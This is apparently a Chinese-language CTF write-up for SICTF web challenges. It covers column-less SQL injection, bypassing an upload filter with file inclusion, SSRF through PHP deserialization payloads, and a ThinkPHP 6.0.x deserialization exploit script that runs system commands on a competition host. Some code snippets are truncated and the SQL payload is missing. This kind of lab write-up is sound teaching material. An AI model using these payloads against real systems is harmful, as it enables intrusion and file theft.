web
hacker
sql无列名注入;
提示查询username参数,flag在flag表中;
传参测试发现,union select 可用,空格被过滤可以使用/**/代替 ,or也被过滤了且无法大小写、双写等绕过,导致无法查询flag表里的字段名,需注意flag在flag表中并不是flag字段,直接联合查询flag表的flag字段查询不到flag,因此就可以想到sql无列名注入,只需知道表名不用知道字段名即可查询字段的数据,payload如下;
" /> 100%_upload
文件上传+文件包含;
进入容器,文件上传界面,且一看url就猜测存在文件包含;
尝试file://协议读取/etc/passwd文件成功,存在文件包含,直接读取/flag提示不能直接获取,所以读取upload.php文件;
index.php" /><?phpif(isset($_FILES['upfile'])){$uploaddir = 'uploads/';$uploadfile = $uploaddir . basename($_FILES['upfile']['name']);$ext = pathinfo($_FILES['upfile']['name'],PATHINFO_EXTENSION);$text = file_get_contents($_FILES['upfile']['tmp_name']);echo $ext;if (!preg_match("/ph.|htaccess/i", $ext)){if(preg_match("/<\?php/i", $text)){echo "茂夫说:你的文件内容不太对劲哦
";}else{move_uploaded_file($_FILES['upfile']['tmp_name'],$uploadfile);echo "上传成功
路径为:" . $uploadfile . "
";}} else {echo "恶意后缀哦
";}}?>
发现过滤了ph、htaccess后缀且文件内容不可有php标签,进行标签绕过、上传图片并配合文件包含即可;
# 上传1.png?><?=`cat /flag`;
包含uploads/1.png获取flag;
EZ_SSRF
简单的ssrf,index.php源码如下;
url);}}// hint:hide other fileif(isset($_GET['Harder'])) {unserialize($_GET['Harder']);} else {echo "You don't know how to pass parameters?";}?>You don't know how to pass parameters?
ssrf,配合php反序列化使用file://协议即可读取本地文件,dirsearch目录扫描发现admin.php和flag.php;
方法一,直接读取flag.php并base64解码即可获取flag;
# payloadO:6:"client":2:{s:3:"url";s:29:"file:///var/www/html/flag.php";s:7:"payload";N;}
方法二,读取admin.php源码如下,发现本地访问admin.php即可获得flag;
ssrf访问本地admin.php,将返回结果base64解码获得flag;
# payloadO:6:"client":2:{s:3:"url";s:26:"http://127.0.0.1/admin.php";s:7:"payload";N;}
Oyst3rPHP
ThinkPHP v6.0.x 反序列化漏洞的利用;
app/controller/Index.php部分源码如下,只需绕过三个if判断即可传参进行反序列化;
class Index extends BaseController{public function index(){echo "RT,一个很简单的Web,给大家送一点分,再送三只生蚝,过年一起吃生蚝哈";echo " 最终利用exp如下;
import requestsimport reurl = 'http://yuanshen.life:37859/?left=s878926199a&right=QNKCDZO'key = 'a' * 1000000 + '603THINKPHP'data = {'payload': 'Tzo0MToiTGVhZ3VlXEZseXN5c3RlbVxDYWNoZWRcU3RvcmFnZVxQc3I2Q2FjaGUiOjM6e3M6NDc6IgBMZWFndWVcRmx5c3lzdGVtXENhY2hlZFxTdG9yYWdlXFBzcjZDYWNoZQBwb29sIjtPOjI2OiJMZWFndWVcRmx5c3lzdGVtXERpcmVjdG9yeSI6Mjp7czoxMzoiACoAZmlsZXN5c3RlbSI7TzoyNjoiTGVhZ3VlXEZseXN5c3RlbVxEaXJlY3RvcnkiOjI6e3M6MTM6IgAqAGZpbGVzeXN0ZW0iO086MTQ6InRoaW5rXFZhbGlkYXRlIjoxOntzOjc6IgAqAHR5cGUiO2E6MTp7czozOiJrZXkiO3M6Njoic3lzdGVtIjt9fXM6NzoiACoAcGF0aCI7czoyMToiY2F0IC9PeXN0MzMzMzMzM3IucGhwIjt9czo3OiIAKgBwYXRoIjtzOjM6ImtleSI7fXM6MTE6IgAqAGF1dG9zYXZlIjtiOjA7czo2OiIAKgBrZXkiO2E6MTp7aTowO3M6ODoiYW55dGhpbmciO319','key': key}res = requests.post(url, data=data)flag = re.search(r'SICTF{.*}', res.text).group()print(flag) # SICTF{01a44fce-57db-4ccd-9bbb-dce5301eca92}